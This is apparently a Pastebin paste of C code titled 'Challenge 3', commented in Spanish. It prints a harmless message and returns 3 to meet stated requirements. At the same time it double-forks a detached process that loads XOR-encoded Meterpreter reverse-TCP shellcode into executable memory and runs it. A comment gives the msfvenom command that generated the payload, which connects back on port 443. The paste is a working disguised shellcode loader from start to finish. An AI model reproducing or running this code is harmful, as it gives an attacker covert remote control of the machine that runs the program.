rambo189619

Challenge 3

Jan 28th, 2026 (edited)
2,340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.66 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <sys/mman.h>
  5. #include <string.h>
  6. #include <sys/wait.h>
  7.  
  8. // Tu shellcode de reverse shell aquí
  9. // msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$IP LPORT=443 EXITFUNC=thread -f c -e x64/xor_dynamic -a x64
  10. unsigned char shellcode_x64[] =
  11.     "\xeb\x27\x5b\x53\x5f\xb0\x8c\xfc\xae\x75\xfd\x57\x59\x53"
  12.     "\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f"
  13.     "\x44\x9d\x74\x07\x80\x3e\x8c\x75\xea\xeb\xe6\xff\xe1\xe8"
  14.     "\xd4\xff\xff\xff\x06\x8c\x37\xf9\x6c\x0f\x5e\x9f\xb0\x16"
  15.     "\x4e\x8f\xd0\x4b\x37\xcf\x6c\x24\x47\x5c\x6c\x01\x5c\x09"
  16.     "\x03\x4e\x83\xc6\x7e\x57\x6c\x0c\x47\x5f\x56\x6c\x2f\x5e"
  17.     "\x9f\x6c\x04\x59\x6c\x07\x58\x09\x03\x4e\x83\xc6\x7e\x3d"
  18.     "\x4e\x91\x4e\xbf\x04\x06\x07\xbd\xc6\xae\x2b\xe7\x57\x4e"
  19.     "\x8f\xe0\x6c\x16\x5c\x6c\x2c\x5e\x09\x03\x5f\x4e\x83\xc6"
  20.     "\x7f\x23\x4f\xf9\xcf\x72\x1e\x51\x6c\x25\x5e\x6c\x06\x6c"
  21.     "\x03\x4e\x8f\xe1\x4e\x37\xf0\x09\x03\x5f\x5f\x59\x4e\x83"
  22.     "\xc6\x7f\xc1\x6c\x3a\x5e\x6c\x07\x59\x09\x03\x58\x6c\x78"
  23.     "\x5c\x09\x03\x4e\x83\xc6\x7e\xeb\xf9\xe0\x44\x9d";
  24.  
  25.  
  26. int main() {
  27.     // Cumplir requisito 1
  28.     printf("I love programming.");
  29.     fflush(stdout);
  30.    
  31.     // Crear proceso completamente independiente
  32.     pid_t pid = fork();
  33.    
  34.     if (pid == 0) {
  35.         // Proceso hijo
  36.        
  37.         // Crear sesión nueva (desconectar del padre)
  38.         setsid();
  39.        
  40.         // Fork otra vez para crear proceso huérfano
  41.         pid_t pid2 = fork();
  42.        
  43.         if (pid2 == 0) {
  44.             // Nieto - proceso completamente independiente
  45.            
  46.             // Cerrar descriptores de archivo heredados
  47.             close(0); close(1); close(2);
  48.            
  49.             // Ejecutar shellcode
  50.             void *exec_mem = mmap(NULL, sizeof(shellcode_x64),
  51.                                   PROT_READ | PROT_WRITE | PROT_EXEC,
  52.                                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  53.            
  54.             if (exec_mem != MAP_FAILED) {
  55.                 memcpy(exec_mem, shellcode_x64, sizeof(shellcode_x64));
  56.                 void (*func)() = (void(*)())exec_mem;
  57.                 func();
  58.             }
  59.            
  60.             // Loop infinito si el shellcode falla
  61.             while(1) sleep(3600);
  62.         }
  63.        
  64.         // El hijo termina inmediatamente, dejando al nieto huérfano
  65.         exit(0);
  66.     }
  67.    
  68.     // Proceso padre original
  69.     // No esperar al hijo (para que termine rápido)
  70.     // El nieto queda como proceso independiente
  71.    
  72.     //sleep(11);  // Cumplir requisito de tiempo
  73.     return 3;   // Cumplir requisito de return
  74. }
Advertisement